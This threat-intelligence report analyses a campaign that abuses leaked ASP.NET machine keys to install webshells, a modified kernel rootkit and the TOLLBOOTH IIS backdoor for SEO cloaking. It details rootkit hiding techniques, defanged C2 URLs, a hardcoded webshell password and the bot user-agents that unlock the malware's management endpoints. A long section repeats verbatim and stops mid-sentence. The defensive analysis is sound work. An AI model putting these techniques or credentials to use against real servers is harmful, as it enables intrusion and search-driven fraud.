In September 2025, Texas A&M University System (TAMUS) Cybersecurity, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell framework, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.

A similar chain of events was first reported by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also detailed in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with Validin, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.

Key takeaways

• Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys
• Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware
• Threat actors adapted the open source “Hidden” rootkit project to hide their presence
• The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities
• This campaign included large-scale exploitation across geographies and industry verticals

Campaign Overview

Attack vector

Last month, Elastic Security Labs and Texas A&M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, ValidationKey and DecryptionKey, which are used to secure ASP.NET features such as ViewState and authentication cookies.

ViewState is a mechanism used by ASP.NET web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, ViewState allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (__VIEWSTATE) on the page that is serialized and encoded in Base64. This ViewState field is susceptible to deserialization attacks, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.

Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload generator. The __VIEWSTATE field contains a URL-encoded and Base64-encoded payload that will perform a whoami and write a file to a directory. With a successful exploitation request, the server will respond with an HTTP/1.1 500 Internal Server Error.

Post-compromise activity

Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.

With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.

Godzilla EKP analysis

One of the main tools used by this group is a Godzilla-forked framework called Z-Godzilla_ekp written by ekkoo-z. This tool piggybacks off the previous Godzilla project by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:

• Discovery/enumeration capabilities
• Privilege escalation techniques
• Command execution/file execution
• Shellcode loader, meterpreter, in-memory PE execution
• File management, zipping utility
• Cred stealing plugin (lemon) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials
• Browser password scraping
• Port scanning, HTTP proxy configuration, note-taking

Below is a network traffic example showing the operator traffic to the webshell (error.aspx) using Z-Godzilla_ekp. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.

Rootkit analysis

The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit HIDDENDRIVER and the userland application HIDDENCLI.

This malicious software is a modified version of the open source rootkit Hidden, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.

Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:

• InitializeConfigs
• InitializeKernelAnalyzer
• InitializePsMonitor
• InitializeFSMiniFilter
• InitializeRegistryFilter
• InitializeDevice
• InitializeStealthMode

To prepare its internal components before populating its driver object and associated fields, such as major functions.

The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.

InitializeConfigs

The rootkit's initial action is to run the InitializeConfigs function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.

The following table summarizes the configuration parameters that the rootkit extracts from the registry:

InitializeKernelAnalyzer

Its purpose is to dynamically scan the kernel memory to find the addresses of the PspCidTable and ActiveProcessLinks that are needed.

The PspCidTable is the kernel's structure that serves as a table for process and thread IDs, while ActiveProcessLinks under the _EPROCESS structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like Process Explorer.

LookForPspCidTable

It searches for the PspCidTable address by disassembling the function PsLookupProcessByProcessIdwith the library Zydis and parsing it.

LookForActiveProcessLinks

This function determines the offset of the ActiveProcessLinks field within the _EPROCESS structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the ActiveProcessLinks field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.

InitializePsMonitor

InitializePsMonitor sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.

It first initializes three AVL tree structures to hold information (rules) for excluding, protecting, and hiding processes. It uses RtlInitializeGenericTableAvl for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.

Registering object manager callback with (ObRegisterCallbacks)

This hook registers the ProcessPreCallback and ThreadPreCallback functions. The kernel's Object Manager executes this code before it completes any request to create or duplicate a handle to a process or thread.

When a process tries to get a handle on another process, the callback function ProcessPreCallback is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION.

This will ensure that processes cannot interact with/inspect, or kill the protected process.

The same mechanism applies to threads.

Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)

The rootkit registers a callback with the PsSetCreateProcessNotifyRoutineEx API on process creation. When a new process is launched, this callback runs a function CheckProcessFlags that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its excluded, protected, and hidden flags accordingly.

Behavior based on flags:

• Excluded
  • The rootkit will ignore the process and just let it run as expected.
• Protected
  • The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in ProcessPreCallback.
• Hidden
  • The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a postponeHiding flag that will be explained below.

The Image Load callback (PsSetLoadImageNotifyRoutine)

This registers the LoadProcessImageNotifyCallback using PsSetLoadImageNotifyRoutine, which the kernel calls whenever an executable image (a .exe or .dll) is loaded into a process's memory.

When the image is loaded, the callback checks the postponeHiding flag; if set, it calls UnlinkProcessFromCidTable to remove it from the master process ID table (PspCidTable).

InitializeFSMiniFilter

The function defines its capabilities in the FilterRegistration structure(FLT_REGISTRATION). This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:

• IRP_MJ_CREATE: Intercepts any attempt to open or create a file or directory.
• IRP_MJ_DIRECTORY_CONTROL: Intercepts any attempt to list the contents of a directory.

FltCreatePreOperation(IRP_MJ_CREATE)

This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to STATUS_NO_SUCH_FILE, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.

FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)

This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.

InitializeRegistryFilter

After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The InitializeRegistryFilter function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.

It registers a callback using the CmRegisterCallbackEx API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status STATUS_NOT_FOUND.

InitializeDevice

The InitializeDevice function does the driver initialization needed, and it sets up an IOCTL communication so that the userland application can communicate with it directly

The following is a table describing each IOCTL command handled by the driver.

InitializeStealthMode

After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: InitializeStealthMode. If the configuration flag Kbj_YinshenMode is enabled, it will hide every artifact associated with the rootkit, including registry keys, the .sys file, and other related components, using the same techniques described above.

Code Variations

While the malware is heavily based on the HIDDENDRIVER source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.

The original code in the IsProcessExcluded function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.

The original code's callback for filtering system information (including files, directories, and registries) used the IsDriverEnabled function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.

RMM usage

The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (80/443) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.

RMMs continue to increase in popularity for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.

Blocking the mass of currently active RMMs and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.

IIS module analysis

The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by Ahnlab and the security researcher, @Azaka. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.

Malware Config Structure

TOLLBOOTH retrieves its configuration dynamically from hxxps://c[.]cseo99[.]com/config/<victim_HTTP_host_value>.json, and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, hxxps://c[.]cseo99[.]com/config/127.0.0.1.json responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this GitHub Gist, and we will reference how some of the fields are used as appropriate.

For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\. For the managed module, these are AES-encrypted with key YourSecretKey123 and IV 0123456789ABCDEF, Gzip-compressed, and stored at C:\\Windows\\Temp\\AcpLogs\\.

Webshell

TOLLBOOTH exposes a webshell at the /mywebdll path, requiring a password of hack123456! for file uploads and execution of commands. Form submission sends a POST request to the /scjg endpoint.

The password is hardcoded in the binary, and this webshell feature is present in both v1.6.0 and v1.6.1 of the native version of TOLLBOOTH.

The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of multipart/form-data fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the multipart/form-data parts, a successful file upload can still be triggered.

Management Channel

TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):

Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;

The /health endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at c[.]cseo99[.]com, disk space information, the module's installation path, and the version of TOLLBOOTH.

The /debug endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.

The parsed configuration is accessible at /conf.

The /clean endpoint allows the operator to clear the current configuration by deleting the config files stored locally (clean?type=conf) in order to update them on the victim server, clear any other temporary caches the malware uses (clean?type=conf), or clear both - everything in the C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\ path (clean?type=all).

SEO Cloaking

The main goal of TOLLBOOTH is SEO cloaking, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.

TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.

Both the native and the managed modules are implemented almost identically. The only difference is that native modules v1.6.0 and v1.6.1 check both the User Agent and Referer against the seoGroupRefererMatchRules list, and the .NET module v1.6.1 checks the User Agent against the seoGroupUaMatchRules list and Referer against the seoGroupRefererMatchRules list.

Based on the current configuration, the values for seoGroupUaMatchRules and seoGroupRefererMatchRules are googlebot and google, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both bing and yahoo suggests that those search engines were targeted in the past as well.

The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.

The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the affLinkMainWordSeoResArr configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the affLinkSeoResArr field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as link farming, is designed to artificially inflate search engine rankings across the entire network of compromised sites.

Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.

URL path prefixes to the SEO pages contain words or phrases from the seoGroupUrlMatchRules config field. This is also referenced in the site redirection logic targeting visitors. These are currently:

• stock
• invest
• summary
• datamining
• market-outlook
• bullish-on
• news-overview
• news-volatility
• video/
• app/
• blank/

Templates and content for SEO pages are also externally retrieved from URIs that look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the config. Here is an example of what one of the SEO pages looks like:

For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to hxxps://api[.]aseo99[.]com/client/landpage. If the request is successful, the server responds with a JSON object containing a specific landpageUrl, which becomes the destination for the redirect.

If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (window.location.href) and sent to the victim’s browser, forcing an immediate redirection.

Page Hijacker

For the native modules, if the URI path contains xlb, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, mlxya[.]oss-accelerate[.]aliyuncs[.]com/<12_random_alphanumeric_characters>, which is used to retrieve an obfuscated next-stage JavaScript payload.

The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., xlbh, mxlb) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href= or ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses document.write() to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.

Campaign targeting

While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.

We then partnered with @SreekarMad at Validin to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.

At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.

These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.

The collaboration with Validin and Texas A&M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.

Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.

Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.

Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.

Geography

The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a .co.uk domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.

Diamond model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

Remediating REF3927

Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.

Therefore, remediation must include rotation of machine keys to a new, properly generated key.

Conclusion

The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.

The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as Elastic Defend during potential incidents.

Detection logic

Detection rules

• Web Shell Detection: Script Process Child of Common Web Processes

Prevention rules

• Suspicious Execution via Windows Services
• Potential Shellcode Injection via a WebShell
• Execution from Suspicious Directory

YARA signatures

Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:

• Windows.Trojan.Tollbooth
• Windows.Trojan.HiddenCli
• Windows.Trojan.HiddenDriver

REF3927 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Credential Access
• Collection
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• OS Credential Dumping
• Hide Artifacts: Hidden Files and Directories
• Data from Local System
• Rootkit
• Valid Accounts

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/
• https://asec.ahnlab.com/en/87804/
• https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/
• https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
• https://github.com/ekkoo-z/Z-Godzilla_ekp
• https://x.com/AzakaSekai_/status/1969294757978652947

Addendum

HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:

• https://x.com/securechicken/status/1980715257791193420
• https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

In September 2025, Texas A&M University System (TAMUS) Cybersecurity, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell framework, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.

A similar chain of events was first reported by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also detailed in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with Validin, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.

Key takeaways

• Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys
• Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware
• Threat actors adapted the open source “Hidden” rootkit project to hide their presence
• The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities
• This campaign included large-scale exploitation across geographies and industry verticals

Campaign Overview

Attack vector

Last month, Elastic Security Labs and Texas A&M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, ValidationKey and DecryptionKey, which are used to secure ASP.NET features such as ViewState and authentication cookies.

ViewState is a mechanism used by ASP.NET web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, ViewState allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (__VIEWSTATE) on the page that is serialized and encoded in Base64. This ViewState field is susceptible to deserialization attacks, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.

Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload generator. The __VIEWSTATE field contains a URL-encoded and Base64-encoded payload that will perform a whoami and write a file to a directory. With a successful exploitation request, the server will respond with an HTTP/1.1 500 Internal Server Error.

Post-compromise activity

Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.

With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.

Godzilla EKP analysis

One of the main tools used by this group is a Godzilla-forked framework called Z-Godzilla_ekp written by ekkoo-z. This tool piggybacks off the previous Godzilla project by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:

• Discovery/enumeration capabilities
• Privilege escalation techniques
• Command execution/file execution
• Shellcode loader, meterpreter, in-memory PE execution
• File management, zipping utility
• Cred stealing plugin (lemon) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials
• Browser password scraping
• Port scanning, HTTP proxy configuration, note-taking

Below is a network traffic example showing the operator traffic to the webshell (error.aspx) using Z-Godzilla_ekp. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.

Rootkit analysis

The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit HIDDENDRIVER and the userland application HIDDENCLI.

This malicious software is a modified version of the open source rootkit Hidden, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.

Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:

• InitializeConfigs
• InitializeKernelAnalyzer
• InitializePsMonitor
• InitializeFSMiniFilter
• InitializeRegistryFilter
• InitializeDevice
• InitializeStealthMode

To prepare its internal components before populating its driver object and associated fields, such as major functions.

The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.

InitializeConfigs

The rootkit's initial action is to run the InitializeConfigs function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.

The following table summarizes the configuration parameters that the rootkit extracts from the registry:

InitializeKernelAnalyzer

Its purpose is to dynamically scan the kernel memory to find the addresses of the PspCidTable and ActiveProcessLinks that are needed.

The PspCidTable is the kernel's structure that serves as a table for process and thread IDs, while ActiveProcessLinks under the _EPROCESS structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like Process Explorer.

LookForPspCidTable

It searches for the PspCidTable address by disassembling the function PsLookupProcessByProcessIdwith the library Zydis and parsing it.

LookForActiveProcessLinks

This function determines the offset of the ActiveProcessLinks field within the _EPROCESS structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the ActiveProcessLinks field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.

InitializePsMonitor

InitializePsMonitor sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.

It first initializes three AVL tree structures to hold information (rules) for excluding, protecting, and hiding processes. It uses RtlInitializeGenericTableAvl for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.

Registering object manager callback with (ObRegisterCallbacks)

This hook registers the ProcessPreCallback and ThreadPreCallback functions. The kernel's Object Manager executes this code before it completes any request to create or duplicate a handle to a process or thread.

When a process tries to get a handle on another process, the callback function ProcessPreCallback is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION.

This will ensure that processes cannot interact with/inspect, or kill the protected process.

The same mechanism applies to threads.

Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)

The rootkit registers a callback with the PsSetCreateProcessNotifyRoutineEx API on process creation. When a new process is launched, this callback runs a function CheckProcessFlags that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its excluded, protected, and hidden flags accordingly.

Behavior based on flags:

• Excluded
  • The rootkit will ignore the process and just let it run as expected.
• Protected
  • The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in ProcessPreCallback.
• Hidden
  • The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a postponeHiding flag that will be explained below.

The Image Load callback (PsSetLoadImageNotifyRoutine)

This registers the LoadProcessImageNotifyCallback using PsSetLoadImageNotifyRoutine, which the kernel calls whenever an executable image (a .exe or .dll) is loaded into a process's memory.

When the image is loaded, the callback checks the postponeHiding flag; if set, it calls UnlinkProcessFromCidTable to remove it from the master process ID table (PspCidTable).

InitializeFSMiniFilter

The function defines its capabilities in the FilterRegistration structure(FLT_REGISTRATION). This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:

• IRP_MJ_CREATE: Intercepts any attempt to open or create a file or directory.
• IRP_MJ_DIRECTORY_CONTROL: Intercepts any attempt to list the contents of a directory.

FltCreatePreOperation(IRP_MJ_CREATE)

This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to STATUS_NO_SUCH_FILE, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.

FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)

This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.

InitializeRegistryFilter

After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The InitializeRegistryFilter function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.

It registers a callback using the CmRegisterCallbackEx API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status STATUS_NOT_FOUND.

InitializeDevice

The InitializeDevice function does the driver initialization needed, and it sets up an IOCTL communication so that the userland application can communicate with it directly

